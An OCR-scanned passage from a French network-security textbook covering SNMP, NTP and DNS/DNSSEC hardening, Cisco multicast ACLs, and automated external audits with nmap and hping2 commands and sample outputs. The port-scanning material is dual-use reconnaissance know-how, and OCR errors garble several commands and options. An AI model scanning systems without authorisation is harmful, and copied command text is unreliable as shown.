qui permet de controler un reseau a distance en interrogeant ses equipements, en modi- 
fiant leur configuration et en observant differentes informations liees a remission de 
donnees. II peut en outre etre utilise pour gerer a distance logiciels et bases de donnees. 

SNMP est devenu un standard TCP/IP, et son utilisation est universelle. Au meme titre 
que HTTP, FTP ou SSH, il utilise une syntaxe abregee ASN.l (Abstract Syntax Notation 
One) par l'entremise d'une MIB (Management Information Base) pour definir les infor- 
mations de management. Ces informations sont repertoriees en nombres entiers repre- 
sentant des noms selon une architecture hierarchisee respectant la syntaxe ASN. 1 . SNMP 
est bati sur une architecture client- serveur. 

La figure 11.15 illustre le principe de fonctionnement du protocole SNMP, qui repose sur 
la couche reseau UDP afin d'offrir ses services de supervision. 

Le protocole SNMP fonctionne sur le principe des requetes -reponses. Des alertes asyn- 
chrones peuvent etre generees par des agents SNMP lorsqu'ils veulent avertir les syste- 
mes d' administration du reseau d'un probleme. 

II existe quatre sortes de requetes et deux sortes de reponses. 

Les requetes sont les suivantes : 

• GetRequest : pour obtenir une variable ; 

• GetNextRequest : pour obtenir la variable suivante ; 

• GetBulk : pour rechercher un ensemble de variables regroupees ; 

• SetRequest : pour modifier la valeur d'une variable. 
Les reponses sont les suivantes : 

• GetResponse : pour permettre a 1' agent de retourner la reponse au NMS (Network 
Management System) ; 

• NoSuchObject : pour informer le NMS de l'indisponibilite de la variable. 

II existe trois versions du protocole SNMP : SNMP vl, SNMP v2 et SNMP v3. La 
version 2 est beaucoup plus complexe que la 1 et contient, entre autres, un niveau hierar- 
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chique d' administration, avec un administrateur central. La version 3 comprend des 
modules de securite specifiques. 

Les risques viennent surtout des faiblesses du protocole SNMP lui-meme, qui n'a pas ete 
con^u pour etre securise dans ses versions 1 et 2. 

Ses principales faiblesses sont les suivantes : 

Les transactions ne sont pas chiffrees. 

L'authentification est realisee par un mot de passe appele « communaute », qui est 
transmis en clair dans les transactions. 

Les deux modes de droits d'acces globaux sont en lecture seule et lecture-ecriture pour 
une communaute SNMP donnee. 

II est possible de limiter la vue sur une MIB pour une communaute SNMP donnee. 

SNMP est fonde sur le protocole UDP et permet facilement d' usurper des adresses IP. 

SNMP v3 n'est pas une mise a jour des versions 1 ou 2 mais doit etre employe en 
conjonction avec elles pour leur offrir une couche ou des briques de securite. 

La figure 11.16 detaille les deux sous-modules de securite offerts par cette version v3. 

Les mecanismes de securite offerts par SNMP v3 sont les suivants : 

• Authentication par utilisateur et chiffrement grace au modele USM (User-based 
Security Model). Ces services de securite reposent sur des cles privees, qui ne sont pas 
accessibles par les requetes SNMP. lis s'appuient sur les fonctions de hachage HMAC/ 
MD5-96 ou HMAC/SHA-96, qui prennent en compte les cles privees. Pour le chiffre- 
ment, c'est 1'algorithme DES qui est utilise, mais d'autres algorithmes cryptographi- 
ques sont a pre voir avec revolution du protocole. 

• Controle d'acces sur plusieurs niveaux, grace notamment au VACM (View-based 
Access Control Model), qui limite 1'acces a un domaine d'une MIB tout en specifiant 
les droits d'acces en lecture et ecriture. 

Pour une utilisation a des fins internes de gestion du reseau, il semble plus avantageux 
d'etablir des tunnels IPsec d' administration avec les equipements, qui protegent tous les 
protocoles des couches superieures, tels que SNMP, plutot que d'utiliser le protocole 
SNMP v3. 

Si SNMP doit etre ouvert a l'exterieur de l'entreprise pour des raisons connues et accep- 
tees, revolution vers une version v3 permet de maitriser les droits d'acces plus serieuse- 
ment que les versions 1 et 2. 

Dans tous les cas, des droits d'ecriture ne doivent jamais etre donnes, meme a titre 
temporaire, en dehors de l'entite en charge de la gestion du reseau. 
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Regies de securite pour I'architecture de routage multicast relatif a I'acces 

Les regies de securite a considerer pour I'architecture de routage multicast relatif a I'acces sont les suivantes : 

• Filtrer et autoriser de maniere statique les seules sources connues et legitimes en configurant des 
access-lists appliquees aux adresses des groupes et/ou des sources multicast des paquets multicast : 

/* Filter et autoriser les sources */ 

ip access-list extended authorized_Sources&Groups 

permit ip @ipS @netS @ipG @netG 

deny ip any any 

interface x 

ip igmp access-group authorized_Sources&Groups 

• Filtrer et autoriser de maniere statique les seuls recepteurs connus et legitimes en configurant des 
access-lists appliquees aux adresses IP source des messages des protocoles IGMP ou MLD : 

/* Filtrer et autoriser les seuls recepteurs */ 
access-list authorised_group permit @ipl @netl 
access-list authorised_group permit @ip2 @net2 
access-list authorised_group deny any 

interface x 

ip igmp access-group authorised_group 

• Configurer et appliquer des limitations aux protocoles de decouverte et de gestion de groupes multi- 
cast (IGMP, MLD) afin de limiter le nombre d'etats multicast au niveau global ou sur une interface 
donnee : 

/* Niveau global pour igmp ou mid */ 

ip igmp limit numberl 

ip mid state-limit number2 

/* Niveau interface pour igmp ou mid */ 
interface x 
ip igmp limit number3 

interface y 
ip mid limit number4 

• Configurer et appliquer des limitations en debit aux sources de trafic afin de limiter la quantite de trafic 
multicast acceptee par seconde, en entree ou en sortie, sur une interface donnee d'un routeur : 

/* Limitation en debit */ 

interface x 

ip multicast rate-limit {in/out} group-list authorised_group source-list 
authorised_source packetrate 

/* Controle des groupes */ 

access-list authorised_group permit @ipG @netG 

/* Controle des sources */ 

access-list authorised_source permit @ipS @netS 

• Securiser I'echange des messages de gestion et de decouverte des groupes multicast a I'aide de 
protocoles tels que IPsec. 
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Regies de securite pour ('architecture de routage multicast relatif au routage intradomaine 

Les regies de securite a considerer pour I'architecture de routage multicast relatif au routage intradomaine 
sont les suivantes : 

• Controle par configuration statique des adresses IP des voisins PIM : 

access-list access-list-name permit @ip 
access-list access-list-name deny any 

interface x 
ip pirn neighbor-filter access-list-name 

• Filtrage statique au niveau d'un DR, avec controle par access-lists des adresses des groupes et/ou 
des sources multicast des paquets multicast : 

ip access-list extended access-list-name 
permit ip @ipS @netS @ipG @netG 
deny ip any any 

interface x 

ip access-group access-list-name in 

Filtrage des sources autorisees afin de restreindre au niveau du RP I'espace d'adresses source 
duquel on accepte des messages PIM Register : 

access-list access-list-name permit @ip 
access-list access-list-name deny any 

ip pirn accept-register {list access-list-name | route-map map-name} 

• Filtrage en entree sur une interface de tous les paquets PIM fondes sur le champ protocole : 

ip access-list extended filtrage-PIM 
deny 103 any any 
permit ip any any 

interface x 
ip access-group filtrage-PIM in 

• Filtrage des sources et groupes a usage interne au domaine multicast par definition de « frontieres 
multicast » : 

access-list access-list-name permit @ip 
access-list access-list-name deny any 

interface x 
ip multicast boundary access-list-name 

• Controle au niveau d'une interface d'un routeur multicast du debit maximal auquel une source peut 
emettre du trafic sur un groupe : 

ip multicast rate-limit {in | out} group-list liste-groupe source-list 
liste-source rate 

access-list liste-groupe permit @ip 
access-list liste-groupe deny @ip 
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access-list liste-source permit @ip 
access-list liste-source deny any 

Limitation du nombre de messages PIM Register par entree (S,G) encapsules par seconde par un 
routeur DR : 

ip pirn register-rate-limit register-rate 

Configuration du nombre maximal d'etats multicast (*,G) et (S,G) qui peuvent etre crees dans la table 
de routage multicast d'un routeur : 

ip multicast route-limit routes-number 



Figure 11.15 
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Mise a I'heure des equipements reseau NTP 

La mise a jour sur une meme base de temps des horloges des equipements reseau est 
primordiale pour la correlation et la correction des problemes reseau et pour les investi- 
gations de securite. 

II ne faut pas confondre I'heure des equipements avec les horloges utilisees arm de 
synchroniser les flux de donnees entre les equipements arm d'eviter le fameux effet de 
gigue. 
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Le protocole NTP (Network Time Protocol) permet de synchroniser des systemes entre 
eux, en depit du fait que le protocole IP utilise comme vecteur de transport fonctionne en 
mode non connecte, et done sans mise a jour en temps reel des horloges. 

NTP est construit sur une hierarchie de couches, ou strates, qui agissent comme autant de 
vecteurs pour la synchronisation des horloges. II est possible de definir jusqu'a 
15 niveaux de couches, le 16 e niveau correspondant a une horloge non synchronisee. 

Les systemes associes a un niveau de strate 1 se synchronisent generalement sur des 
recepteurs radio branches ou sur toute source sure donnant des mesures du temps. Les 
systemes associes a un niveau de strate 2 se synchronisent sur les systemes de strate 1. II 
en va de meme pour les autres couches ou strates, comme illustre a la figure 1 1.17. 



Figure 11.17 
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Une architecture NTP est batie a la fois sur une source d' horloge sure et sur des niveaux 
de strates limites : 

• Pour la source d' horloge, on s'appuie sur des antennes GPS (Global Positioning 
System) et non sur les sources NTP que peut offrir Internet. 

• Pour les niveaux de strate, seule une etude permet de definir et de limiter au minimum 
le nombre de niveaux. 

Dans la plupart des implementations, il est possible de controler les echanges de donnees 
NTP entre une source et un serveur a l'aide d'un mot de passe partage. En revanche, ce 
controle ne permet pas d'authentifier au sens strict du terme les echanges de donnees ni 
la confidentialite. 
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La resolution de noms DNS 

Chaque interface d' equipement connectee a un reseau TCP/IP est identifiee au moyen 
d'une adresse IP unique dans le reseau. Le service DNS (Domain Name Service) permet 
d'associer un nom a tout equipement ay ant une adresse IP. 

Bien que l'utilisation des noms a la place des adresses IP ne soit pas requise par le proto- 
cole IP, 1' usage des noms s'est peu a peu impose dans le reseau Internet. 

Pour que le systeme fonctionne, il faut qu'existe, soit au niveau de 1' equipement, soit 
ailleurs dans le reseau, une correspondance entre nom et adresse. Pour la correspondance 
locale sur 1' equipement, on renseigne un fichier, nomme hosts sur les systemes Unix. 
Pour la correspondance distante, le DNS met en ceuvre une base de donnees hierarchi- 
que, qui peut etre repartie sur plusieurs serveurs, avec repartition de charge et distribution 
des mises a jour de la base de donnees. 

Un serveur de noms est responsable de la mise a jour des correspondances nom/adresse 
IP des systemes de son domaine. II est appele Authoritative Server, ou serveur d'autorite 
pour le domaine. Un serveur peut deleguer l'autorite d'un ou de plusieurs sous-domaines 
a d'autres serveurs. Ces derniers deviennent serveurs d'autorite pour ces sous-domaines. 
Aucun serveur ne possede d' informations completes sur les domaines et sous-domaines 
du reseau, y compris les serveurs racines. Les serveurs pointent en fait sur les serveurs de 
noms qui detiennent ces informations. 

Un serveur de noms gere la base de donnees de son domaine et la liste des serveurs de 
noms situes jusqu'a deux niveaux de domaines en dessous de lui. Si un serveur se trouve 
dans l'impossibilite de repondre a une resolution nom/adresse IP, il retransmet la requete 
au serveur de noms ayant cette information. 

La figure 11.18 illustre la hierarchie des domaines de noms avec le domaine racine et les 
sous-domaines qui lui sont rattaches. 

Figure 11.18 Racine 

Hierarchie des domaines de 
noms 
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Le protocole DNS est decrit par diverses RFC de 1'IETF et fait l'objet de constantes 
ameliorations. Une future version securisee est notamment annoncee. II utilise la pile 
protocolaire IP/TCP ou IP/UDP. Son implementation sur un serveur est composee d'un 
module Resolver, contenant des bibliotheques de routines permettant de poser des ques- 
tions aux serveurs de noms, et d'un module Name Server, qui execute le processus repon- 
dant aux questions de correspondance nom/adresse IP. 
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La figure 11.19 illustre les modules d'un serveur de noms. 



Figure 11.19 
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II existe trois types de serveurs de noms : 

• Serveur primaire. C'est le serveur d'autorite sur le domaine. II tient a jour un fichier, 
appele fichier de zone, qui etablit les correspondances entre les noms et les adresses IP 
des hosts de sa zone. 

• Serveur secondaire. Re^oit regulierement, par transfert de zone, les fichiers de la base 
de donnees DNS concernant la zone qu'il sert. II est capable de repondre aux requetes 
de noms IP (partage de charge) et de secourir le serveur primaire en cas de panne. 

• Serveur cache. Pour repondre en temps reel aux demandes de resolution de noms de 
domaines, le serveur cache ne constitue sa base d'information qu'a partir des reponses 
des serveurs de noms. II inscrit les correspondances nom/adresse IP dans un cache, 
avec une duree de validite (TTL) limitee et n'a aucune autorite sur le domaine. II n'est 
pas responsable de la mise a jour des informations contenues dans son cache. En 
consequence, la mise a jour d'une zone sur un serveur primaire peut ne pas se refleter 
immediatement sur un serveur cache, car celui-ci attendra la fin de la duree de validite 
(TTL) pour aller interroger a nouveau le serveur primaire et s'apercevoir que 1' infor- 
mation a ete modifiee. 

Sachant qu'une attaque sur un serveur DNS peut impacter immediatement le trafic du 
reseau et de ses services, la securisation d'un tel service est cruciale. Une difference doit 
etre faite entre les serveurs DNS a vocation de gestion interne et externe du reseau. De 
plus, des serveurs de noms differents doivent etre deployes. Pour chaque systeme, le 
sy steme d' exploitation doit etre securise au maximum. Chaque serveur DNS doit etre 
deploye derriere un pare-feu a filtrage dynamique et sur une section de LAN entierement 
reservee a cet effet, comme illustre a la figure 11.20. 

Sachant que le protocole DNS est un pilier pour le reseau, des evolutions de securite ont 
ete proposees afin de definir le protocole DNS sec (extensions de securite au protocole 
DNS). Les services rendus par DNSsec permettent de garantir la securite des donnees et 
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Figure 11.20 
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des transactions de donnees et d'offrir une architecture de distribution de cles reposant 
sur des algorithmes cryptographiques. 

La securite offerte cote serveur offre les fonctionnalites suivantes : 

• Chaque zone genere un ensemble de paires de cles privees/publiques. 

• Les parties privees des cles signent les informations (RRsets) faisant partie integrante 
de la zone. 

• Les signatures sont stockees dans le flchier de zone avec les donnees qu'elles authen- 
tifient. 

• Les parties publiques des cles sont publiees dans le flchier de zone et peuvent faire 
l'objet de requetes DNS classiques. 

Cote client, la connaissance de la cle publique d'une zone permet de verifier les signatu- 
res et de controler ainsi l'authenticite et Tintegrite des informations contenues dans la 
zone. 

Cela necessite cependant la connaissance des cles de toutes les zones avec lesquelles le 
resolver est susceptible de communiquer. 



En resume 



La gestion d'un reseau est constitute de nombreux domaines, tous aussi importants pour 
assurer de bout en bout la securite du reseau et de ses services. 

Nous avons detaille dans cette partie un ensemble de techniques permettant de renforcer 
la securite des acces, des authentiflcations, etc. Ces techniques peuvent etre mises en 
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oeuvre pour satisfaire les exigences dictees par la politique de securite. Rappelons une 
fois encore que c'est la politique de securite et ses objectifs qui doivent etre a l'amont des 
techniques, et non le contraire. 

La partie suivante aborde les controles de securite externe et interne qui permettent 
d'etablir des tableaux de bord de la securite reseau. Cette etape vise avant tout a verifier 
1' application de la politique de securite. 



Partie IV 



Techniques de controle 
de la securite reseau 



Une fois definies une politique de securite reseau et les solutions techniques a mettre 
en place, il convient d'instaurer des controles de securite afin de valider 1' application 
des regies de securite. L'objectif de ces controles consiste non seulement a verifier que 
le niveau de securite est toujours sufflsant mais aussi a etablir des tableaux de bord de 
la securite reseau, qui permettront de declencher des actions preventives. 

Une securite reseau serait sans objet sans controles de securite permettant de verifier 
son degre d' application. Cette partie detaille les objectifs et les techniques de controle 
de la securite reseau : 

• Le chapitre 12 traite du controle externe de securite. II s'agit de verifier qu'un 
sy steme vu de l'exterieur implemente les regies de securite issues de la politique de 
securite. 

• Le chapitre 13 concerne le controle interne de securite. Ce type de controle vise a 
verifier qu'un systeme vu de l'interieur suit les regies de securite issues de la poli- 
tique de securite. 

• Le chapitre 14 est dedie a 1' elaboration de tableaux de bord de la securite reseau, 
grace notamment aux controles de securite internes et externes. 

Le controle de securite s'inscrit dans une demarche generale de verification de 1' appli- 
cation de la politique de securite du systeme d'information de l'entreprise. 

Une telle verification reguliere est fondamentale, compte tenu de revolution perma- 
nente de 1' architecture et des services reseau. 

Dans tous les cas, le perimetre de controle et les objectifs vises doivent etre clairement 
etablis au prealable. Ce perimetre est deflni par l'equipe de securite de l'entreprise et les 
responsables des domaines vises et se refere a la politique de securite de l'entreprise. 

Les outils sur lesquels nous nous appuyons pour presenter les controles automatises 
sont tous gratuits, a l'exception de quelques outils commerciaux efflcaces dans leur 
analyse et flables en terme de resultat. 
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Le controle externe de la securite consiste a verifier, de l'exterieur et sans droits d'acces 
aux systemes composant le reseau de l'entreprise, que les regies de securite definies sont 
appliquees. 

Ce controle externe porte en priorite sur 1' analyse des systemes de l'entreprise, en se 
pla^ant a des endroits strategiques du reseau, et sur 1' analyse externe des systemes de 
l'entreprise, en se pla^ant reellement a l'exterieur du reseau (Internet, PSTN ou autre). 

Les controles externes doivent etre reguliers, par exemple une fois par jour, par semaine 
ou par mois, et automatises au maximum afm de gagner du temps pour 1' analyse. lis 
doivent en outre tenir compte de la politique de securite et de revolution des architectu- 
res et des services reseau. 

Nous detaillons dans ce chapitre un controle externe fonde a la fois sur des outils de 
balayage, ou scanning, reseau et sur des outils d'attaque afln de verifier que les regies de 
securite definies sont correctement appliquees. 

Controle par balayage reseau 

Sachant qu'une personne malveillante attaque dans la plupart des cas une cible directe- 
ment par le reseau, evitant ainsi de devoir recourir a un acces physique au systeme, nous 
realisons nos controles externes de la meme maniere. Nous decrivons ici, en deflnissant 
une politique de securite simple, comment proceder a des controles automatises. 

Pour illustrer l'etablissement d'un plan de controle associe a des resultats de balayage, 
nous deflnissons : 

• une politique de securite reseau simpliflee ; 
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• des mecanismes de securite a mettre en place pour implementer cette politique ; 

• le controle externe et ses procedures. 

Nous considerons que le reseau s'appuie uniquement sur le protocole TCP/IP. 

Politique de securite simplifiee 

« Uacces aux equipements de Ventreprise n' est possible qu'au trovers deflux chiffres et 
authentifies. » 

Un reseau d'entreprise fonde sur le protocole IP offre des services reseau tels que le Web 
(TCP/80 HTTP), la messagerie (TCP/25 SMTP) et bien d'autres. De plus, la plupart des 
systemes d' exploitation ne proposent par defaut que des logiciels d' administration a 
distance fonctionnant en flux non chiffres. 

La politique de securite exige done que, pour chaque systeme, le service utilise pour 
acceder a distance soit authentifie et que les flux qui sont echanges entre le client et le 
serveur soient chiffres. 

Cette politique de securite a ete declinee en guides detaillant la liste des logiciels a utili- 
ser a des fins d' administration. Les logiciels autorises sont les suivants : 

• Pour les systemes Unix, SSH, qui utilise le port 22/TCP. 

• Pour les systemes Windows, PC Anywhere, qui utilise les ports 5631/TCP et 5632/ 
UDP 

• Pour les autres, l'autorisation de l'equipe de securite est necessaire. 

Mise en oeuvre d'une solution de controle externe 

La verification de 1' application de la politique de securite consiste a definir un controle 
externe de securite afin de verifier la conformite des systemes d' exploitation. Pour y 
parvenir, un ensemble d'etapes doivent etre effectuees afin d'obtenir le resultat escompte, 
comme l'illustre la figure 12.1. 

Pour la mise en oeuvre du plan de controle externe, il importe de choisir un outil de 
controle externe susceptible de couvrir le besoin. Notre choix se porte sur 1' outil Nmap, 
que nous avons brievement presente dans les chapitres traitant des attaques reseau et 
systeme. Cet outil est la reference en matiere de balayage de ports. 

Nmap peut fonctionner en mode ligne de commande et offre une grande souplesse de 
parametrage des rapports qu'il genere. Grace a ces options, il devient tres simple d'auto- 
matiser les balayages de ports, de collecter les resultats et de les comparer a un modele 
afin de determiner les ecarts. 

L' architecture de la solution developpee pour effectuer ces controles de maniere periodi- 
que et automatisee est illustree a la figure 12.2. 
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Figure 12.1 
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Le principe sous-jacent de cette architecture est que les equipes de securite puissent defl- 
nir simplement par une interface homme-machine les systemes a verifier : 

1. Dans le formulaire HTTP, il faut fournir l'adresse IP du systeme, ses caracteristiques 
principales, mais egalement la politique de securite qu'il doit suivre. L'information 
est stockee dans une base de donnees. 

2. Le systeme de controle lit cette base de donnees afln de determiner, en fonction d'un 
champ date qui indique la derniere fois que la machine cible a ete auditee et de la 
periodicite precisee dans le formulaire si celle-ci doit etre a nouveau verifiee. 

3. La machine est controlee. 



4. Les resultats de l'operation sont stockes dans une base de donnees de resultats. 
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5. Le sy steme charge d'etablir le tableau de bord de la securite recupere ces resultats et 
les compare a la politique de securite definie. 

6. Un rapport du controle est publie. 

Pour des raisons d' optimisation, le sy steme en charge d' assurer les controles n'est en fait pas 
un systeme, mais une infrastructure distribuee contenant plusieurs systemes de controle. 

Le systeme maitre dispose d'une base de donnees associant a chaque sous-reseau de 
l'entreprise une machine d'audit dediee. C'est elle qui lancera reellement les controles. 
Cette distribution des systemes de controle permet d'optimiser la bande passante dispo- 
nible et done d'effectuer plus rapidement les controles, avec moins d'erreurs dues a la 
latence du reseau. 

La figure 12.3 illustre 1' architecture distribuee de 1' infrastructure de controle. 



Figure 12.3 

Architecture distribuee 
de controle 



Ordinateur en charge 

d'effectuer le controle 

des systemes 




192.168.1.15 



Le systeme fonctionne de la fa^on suivante : 

1. Le controleur maitre recherche quelle machine doit etre verifiee. 

2. II re^oit la reponse que la machine 192.168.1.15 doit etre verifiee. 

3. II recherche quelle machine d'audit doit etre utilisee. 

4. II re^oit en reponse que Auditeur 2 est en charge du reseau 

255.255.254.0. 

5. II met dans la file d'attente de Auditeur 2 la tache a executer. 



192.168.0.0/ 



6. Celui-ci s'en acquitte et renvoie ses resultats vers le controleur maitre, lequel stocke 
dans sa base de donnees les resultats des controles. 

Une architecture d'auditeurs distribuee presente les avantages suivants par rapport a une 
architecture centralisee : 
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• Decentralisation de la gestion. Le decoupage en zones d'autorite du reseau permet de 
creer des sous-reseaux logiques, geres localement tout en restant dependants d'une 
administration centrale. 

• Verification complete des sous-reseaux. Sachant que chaque zone d'autorite est 
protegee par un pare-feu avec des options de type NAT, etc., le mode distribue permet 
de tester les mecanismes de securite a l'interieur de chaque zone d'autorite, sans creer 
de breche de securite. 

• Performance des verifications. Chaque verification est realisee par chaque zone 
d'autorite, de fa^on a repartir la charge reseau localement. 

• Creation de rapports. Les resultats des balayages de chaque zone d'autorite sont 
remontes a 1' administration centrale et peuvent suivre un format commun de type CVE 
(Common Vulnerabilities and Exposures). 

• Automatisation des verifications. Chaque zone d'autorite a ses propres parametrages 
de verification et listes d'exceptions. Les periodes d'execution des verifications 
peuvent etre adaptees a chaque zone selon leurs contraintes. 

L'outil de controle Nmap 

L'outil le plus repandu pour le balayage de ports d'un systeme est Nmap. II est possible 
de renforcer son action en lui adjoignant hping2, afin d'ameliorer le balayage de ports par 
le protocole ICMP. 

Nmap est utilise de la maniere la moins dommageable possible. Certaines de ses options 
(fragmentation, etc.) peuvent en effet provoquer des dommages sur certains systemes et 
ne doivent jamais etre utilisees de maniere automatisee. La releve d'empreinte peut 
provoquer ce type de probleme, bien qu'elle soit necessaire pour s'assurer que Ton a vise 
le bon systeme d' exploitation. 

Nmap est capable de realiser une empreinte du systeme d' exploitation et de recolter les 
informations suivantes : 

• ports TCP en ecoute ; 

• ports UDP en ecoute ; 

• services ICMP en ecoute ; 

• protocoles IP disponibles. 

hping2 permet 1' envoi de paquets IP dans lesquels les drapeaux peuvent etre dermis 
manuellement. Cette approche se revele tres utile pour tester si un pare-feu bloque bien 
les paquets SYN/ACK, sans pour autant etablir une demande de session/connexion. 

Controle des ports TCP 

Afin de disposer d'un affichage standard propice a une extraction automatisee, nous utili- 
sons l'option -oG (resultat « grepable ») de Nmap. 
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La detection des ports TCP en ecoute sur la machine visee s'effectue par le biais de la 
commande suivante : 

nmap -sT -pl-65535 -P0 -0 -oG /tmp/ adresse_ip.txt adresse_ip 

Le drapeau -sT signifie que Nmap doit faire un balayage TCP par la methode de 
connexion TCP traditionnelle arm de ne pas provoquer de dommages sur la machine 
cible. L'intervalle des ports a controler (tous) est precise par l'argument -pl-65535. 

Le drapeau -P0 signifie que Nmap ne doit pas compter sur le fait que la machine reponde 
au ping pour lancer son balayage. En effet, 1' absence de reponse a un ping ne signifie pas 
necessairement que la machine visee n'est pas en service. 

Enfin, l'argument -0 force Nmap a tenter de faire une empreinte du systeme d'exploita- 
tion de la machine visee. Pour la comparaison entre les resultats et le modele, cette infor- 
mation n'apporte rien. En revanche, elle est tres utile pour s'assurer que la machine est 
bien celle a laquelle on s' attend. 

Les resultats sont stockes dans un fichier texte (ici /tmp/addresse_ip.txt) contenant les 
resultats suivants : 

# nmap 4.05 scan initiated Thu Sep 29 08:09:59 2005 as: nmap -sT -pl-65535 -P0 -0 -oG 
/tmp/adresse_ip.txt adresse_ip 

Host: adresse_ip () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 443/open/tcp// 
https///, 1241/open/tcp//nessus/// Ignored State: closed (65531) 

OS: FreeBSD 5.2 - 5.3 Seq Index: 9999999 IPID Seq: Incremental 

# Nmap run completed at Thu Sep 29 08:31:43 2005 -- 1 IP address (1 host up) scanned 
in 1304.047 seconds 

L' extraction des resultats afin de les incorporer dans la base de donnees est triviale. La 
liste des ports est fournie dans une ligne commen^ant par Host : , chaque reponse (enregis- 
trement) etant separee des autres par une virgule. Chaque champ de chaque enregistre- 
ment est separe des autres par des slash (/). 

Controle des ports UDP 

La detection de ports UDP en ecoute s'effectue de la meme maniere que celle des ports 
TCP: 

nmap -sU -pl-65535 -oG / tmp /adress e_ip.txt adresse_ip 

Le balayage de ports UDP peut engendrer beaucoup de faux positifs, car il fonctionne par 
elimination, a 1' inverse du balayage TCP, dans lequel la reponse de la machine visee 
valide 1' ecoute du port. 

L'argument -sU indique a Nmap qu'il doit balayer les ports UDP, et -pl-65535 indique les 
ports possibles : 

# nmap 4.05 scan initiated Thu Sep 29 08:09:59 2005 as: nmap -sU -pl-65535 -oG /tmp/ 
adresse_ip.txt adresse_ip 
Host: adresse_ip Ports: 161/open/udp//snmp/// 

# Nmap run completed at Thu Sep 29 08:31:43 2005 -- 1 IP address (1 host up) scanned 
in 1304.047 seconds 
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Le resultat obtenu est similaire a celui produit avec le protocole TCP. 

Controle des services ICMP 

Afin d' identifier quels services ICMP sont fournis par le systeme cible, nous utilisons 
hping2, la commande hping permettant l'envoi de paquets ICMP modifies : 

hping --icmp --icmptype NumeroType --icmpcode NumeroCode adresse_ip 

Le tableau 12.4 recapitule les differentes valeurs possibles pour le type et le code des 
messages ICMP. 



Tableau 12.4 Types et codes des messages ICMP 



Type 


Code 


Message 


Signification du message 








Reponsea ECHO 


Envoie un paquet suite a la reception d'un message ECHO. 


3 





Destinataire inaccessible 


Le reseau n'est pas accessible. 


3 


1 


Destinataire inaccessible 


La machine n'est pas accessible. 


3 


2 


Destinataire inaccessible 


Le protocole n'est pas accessible. 


3 


3 


Destinataire inaccessible 


Le port n'est pas accessible. 


3 


4 


Destinataire inaccessible 


Fragmentation necessaire mais interdite 


3 


5 


Destinataire inaccessible 


Echec d'acheminement 


3 


6 


Destinataire inaccessible 


Reseau inconnu 


3 


7 


Destinataire inaccessible 


Machine inconnue 


3 


8 


Destinataire inaccessible 


Machine non connectee au reseau 


3 


9 


Destinataire inaccessible 


Communication avec le reseau interdite 


3 


10 


Destinataire inaccessible 


Communication avec la machine interdite 


3 


11 


Destinataire inaccessible 


Reseau inaccessible pour ce service 


3 


12 


Destinataire inaccessible 


Machine inaccessible pour ce service 


3 


13 


Destinataire inaccessible 


Communication interdite (filtrage) 


4 





Controle de flux 


Un routeur peut etre amene a detruire un paquet s'il manque de memoire. 
Dans ce cas, il emet ce message a destination de la source du paquet 
detruit. 


5 





Redirection pour un reseau 


Lorsqu'un routeur remarque que la route d'un reseau entier n'est pas 
optimale, il envoie aux notes du reseau I'adresse du routeur, diminuant de 
ce fait le chemin d'acheminement. 


5 


1 


Redirection pour un note 


Lorsqu'un routeur remarque que la route d'un note n'est pas optimale, il 
envoie a I 'note I'adresse du routeur, diminuant de la sorte le chemin 
d'acheminement. 


5 


2 


Redirection pour un reseau et 
un service donne 


Lorsqu'un routeur remarque que la route d'un reseau entier n'est pas 
optimale pour un service donne, il envoie aux notes du reseau I'adresse 
du routeur, diminuant de ce fait le chemin d'acheminement. 


5 


3 


Redirection pour un note et un 
service donne 


Lorsqu'un routeur remarque que la route d'un note n'est pas optimale 
pour un service donne, il envoie a I'hote I'adresse du routeur, diminuant 
de ce fait le chemin d'acheminement. 
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Tableau 12.4 Types et codes des messages ICMP (suite) 



8 





Demanded'ECHO 


11 





Duree de vie ecoulee 


11 


1 


Temps limite de reassem- 
blage du fragment depasse 


12 





Errone 


13 





Marqueur tempore! 


14 





Reponse a un marqueur tem- 
po re I 


15 





Demande d'adresse reseau 


16 





Reponse d'adresse reseau 



Envoi d'un paquet avec demande de reponse afin de confirmer la pre- 
sence d'un note 

Lorsqu'un routeur traitant un paquet est amene a mettre a jour le champ 
Duree de vie de I'en-tete IP et que ce champ est a 0, le paquet doit etre 
detruit. Le routeur peut prevenir I'hote source de cette destruction. 

Si un note reassemblant un paquet ne peut terminer cette operation a 
cause de fragments manquants au bout de la temporisation de reassem- 
blage, il doit detruire le paquet en cours de traitement et avertir I'hote 
source en emettant un message. 

Ce message est envoye lorsqu'un champ d'un en-tete est errone. La posi- 
tion de I'erreur est retournee. 

Une machine demande a une autre son heure et sa date systeme (uni- 
verselle). 

La machine receptrice donne son heure et sa date systeme afin que la 
machine emettrice puisse determiner le temps de transfert des donnees. 

Ce message permet de demander le numero de reseau sur lequel est 
situe un note. 

Ce message repond au message precedent. 



Lan^ons la commande hpi ng sur le systeme cible, et analysons les trois types de reponses 
possibles a l'envoi d'un paquet Timestamp request : 

• La machine cible renvoie la reponse suivante, indiquant que le systeme cible a repondu 
a la requete : 

# hping --icmp --icmptype 13 192.168.0.10 

HPING 192.168.0.10 (xlO 192.168.0.10): icmp mode set, 28 headers + data bytes 
len=46 ip=192. 168.0. 10 ttl =128 id=58272 icmp_seq=0 rtt=0.4 ms 
ICMP timestamp: 0riginate=31609897 Receive=2969625345 Transmit=2969625345 
ICMP timestamp RTT tsrtt=l 

La machine cible renvoie la reponse suivante, indiquant que le systeme cible ne 
supporte pas le code ou le type ICMP emis : 

# hping --icmp --icmptype 10 192.168.0.10 

HPING 192.168.0.10 (xlO 192.168.0.10): icmp mode set, 28 headers + data bytes 
[send_icmp] Unsupported icmp type! 

La machine cible renvoie la reponse suivante, indiquant que le systeme cible n'a emis 
aucune reponse en retour : 



I 



# hping --icmp --icmptype 17 192.168.0.10 

HPING 192.168.0.10 (xlO 192.168.0.10): icmp mode set, 28 headers + data bytes 



Afin d'eviter que la commande ne se bloque indefiniment suite a 1' absence de reponse de 
la machine visee, on utilise l'argument -c, qui permet de definir le nombre maximal de 
paquets que hping2 peut envoyer. 
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Controle des protocoles associes a un paquet IP 

Nmap et hping2 permettent la detection de l'ecoute d'un protocole IP par rintermediaire 
de l'argument -sO. II est ainsi possible de determiner quels protocoles IP sont disponibles 
sur la machine visee sans les sollicker directement. 

Le tableau 12.5 donne quelques exemples de la liste de protocoles associes a un paquet IP. 
Tableau 12.5 Exemples de valeurs du champ protocole d'un paquet IP 






HOPOPT, IPv6 Hop-by-Hop Option 


1 


ICMP (Internet Control Message Protocol) 


2 


IGAP (IGMP for user Authentication Protocol) 
IGMP (Internet Group Management Protocol) 
